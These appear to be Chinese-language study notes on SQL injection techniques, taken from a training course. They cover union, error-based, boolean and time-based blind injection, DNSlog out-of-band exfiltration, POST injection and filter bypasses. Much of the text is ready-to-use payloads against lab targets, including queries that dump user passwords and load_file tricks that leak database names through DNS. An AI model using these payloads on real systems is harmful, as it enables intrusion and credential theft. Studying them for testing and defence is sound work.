ppt来源:重庆橙子科技
视频:bilibili橙子SQL注入由简入精
sql注入方式
寻找可能的注入点
找和后端交互的点,即前端的输入可能对后端有影响的点
把握输入的内容会对数据库产生什么影响,输入一些什么看看数据库怎么样执行这个语句,如报错误之类的东西
输入的东西可能会执行到数据库里,怎么判断,基于后面的内容
union注入
使用减号验证是否为数字型,检测1和2-1是否返回相同页面
字符集问题
1' union select 1,group_concat(table_name) COLLATE utf8_general_ci
from information_schema.tables where table_schema='dvwa' #
———————————————————————————————
数据库中存在的重要信息的表
extractvalue()报错注入
构造语句,让报错回现夹带数据库查询信息
extractValue() 报错注入
(第一个参数为列名,第二个没学过xml暂时不用管理解为路径)
select extractvalue(doc,concat(0x7e,select database()))) from xml;
100' union select 1,
extractvalue(1,concat(0x7e,(select group_concat(column_name)
COLLATE utf8_general_ci
from information_schema.columns
where table_schema=database() and table_name='users'))) #
updatexml报错注入
和extractValue() 报错注入大抵类似
1' and 1=updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')),3)#
1' and 1=updatexml(1,concat('~',(select group_concat(user,'~',password) from users)),3)#
floor报错
函数 | 作用 |
---|---|
rand() | 随机返回0~1之间的小数 |
floor() | 小数向下取整数 |
ceiling() | 小数向上取整数 |
concat_ws() | 将括号内数据用第一个字段连接起来 |
as | 别名 |
group by | 分组 |
count() | 汇总统计数量 |
limit | 这里用于显示指定行数 |
布尔盲注
盲注:页面没有报错回显,不知道数据库具体返回值的情况,对数据库中的内容进行猜解,实行sql注入
布尔盲注:web页面只返回True、False两种类型;利用页面返回不同,逐个猜解数据
有真假两种类型的页面
ascii() | 转换为对应的ASCII码值 |
---|
subdtr(查询语句,第几个字符,显示几个)
?id=1' and ascii(substr('语句',1,1))>97 --+
替换语句,比大小
ASCII查询对照表:https://ascii.911cha.com/
布尔盲注闭合符的判断
时间盲注
无报错、无回显、无真假值,web页面只返回一个正常页面;利用页面响应时间不同,逐个猜解数据
前提是数据库会执行命令代码,只是不反馈页面信息
函数 | 作用 |
---|---|
sleep() | 参数为休眠时长,以秒为单位 |
if(condition,true,false) | condition为条件,当条件为真执行,当条件为假时执行 |
1' and if(ascii(substr((select database()),1,1))>100,sleep(0),sleep(3)) #
时间盲注闭合符判断
成功延迟两秒响应为闭合符
sql注入文件上传
show variables like '%secure%';
DNSlog注入
load_file() | 读取本机或网络上共享出的文件 |
---|
select load_file("c:\\benben.txt");
需要用到的网站
http://ceye.io
http://www.dnslog.cn/
随机访问一个域名
可查询访问记录
手动注入
获得库名
and (select load_file(concat("//",(select database()),".获取的域名/随意增加的文件名.txt"))) --
获得表名
and (select load_file(concat("//",(select table_name from information_schema.tables where table_schema='数据库名' limit 0,1),".获取的域名/随意的文件名"))) --
数据库信息会回显到网站中
post报头注入
get提交和post提交
1、get提交可以被缓存,post提交不会
2、get提交参数会保留在浏览器的历史记录里,post提交不会
3、get提交可以被收藏为书签,post提交不会
4、get提交有长度限制,最长2048个字符
1' or updatexml(1,concat('~',(select database()),3),2,3) #
SQL注入过滤绕过
注释符绕过
sql语句为
SELECT * FROM users WHERE id='-1' union select 1,(select database()),'3' limit 0,1
为什么要用-1,因为sql语句执行了两个select语句,第一个select为id的选择语句,第二个为我们构造的select语句。只有一个数据可以输出,为了让我们自己构造的数据可以正常输出,第一个select要没有结果,所以-1或者超过数据库所有数据都可以
•获取数据库
http://127.0.0.1/sql/Less-23/index.php?id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),'3
此处获取的数据库为security
•查看security库数据表
http://127.0.0.1/sql/Less-23/index.php?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),'3
•查看users表的所有列
http://127.0.0.1/sql/Less-23/index.php?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),'3
•获取内容
http://127.0.0.1/sql/Less-23/index.php?id=-1' union select 1,(select group_concat(username,0x3a,password) from users),'3
and和or过滤绕过
&&可能不能识别,转换为url编码%26%26
空格过滤绕过
用+号代替空格
使用报错注入(无空格)
1'||extractvalue(1,concat(0x7e,database()))||'1'='1
select和union过滤绕过
1、用注释符变形
如 un/**/ion
2、大小写
uNion seLect
3、尝试复写单词
ununionion seleselectct
宽字节注入绕过
addslashes() 函数
在指定的预定义字符前添加反斜杠
这些字符是 ' " \ NULL
当写入或查询用户名“1”时,数据库会识别单引号 ’ 为闭合符号,要求再输入一个单引号将其闭合,只查询 “1” 而没办法查询 " 1’ "
如果输入 " 1’ ",使 ’ 失去闭合符的功能,则数据库会识别为 " 1’ "
?id=1 ’ 单引号实际变为 ’ 无法识别为闭合符,从而防范sql注入
宽字节绕过前提为GBKB编码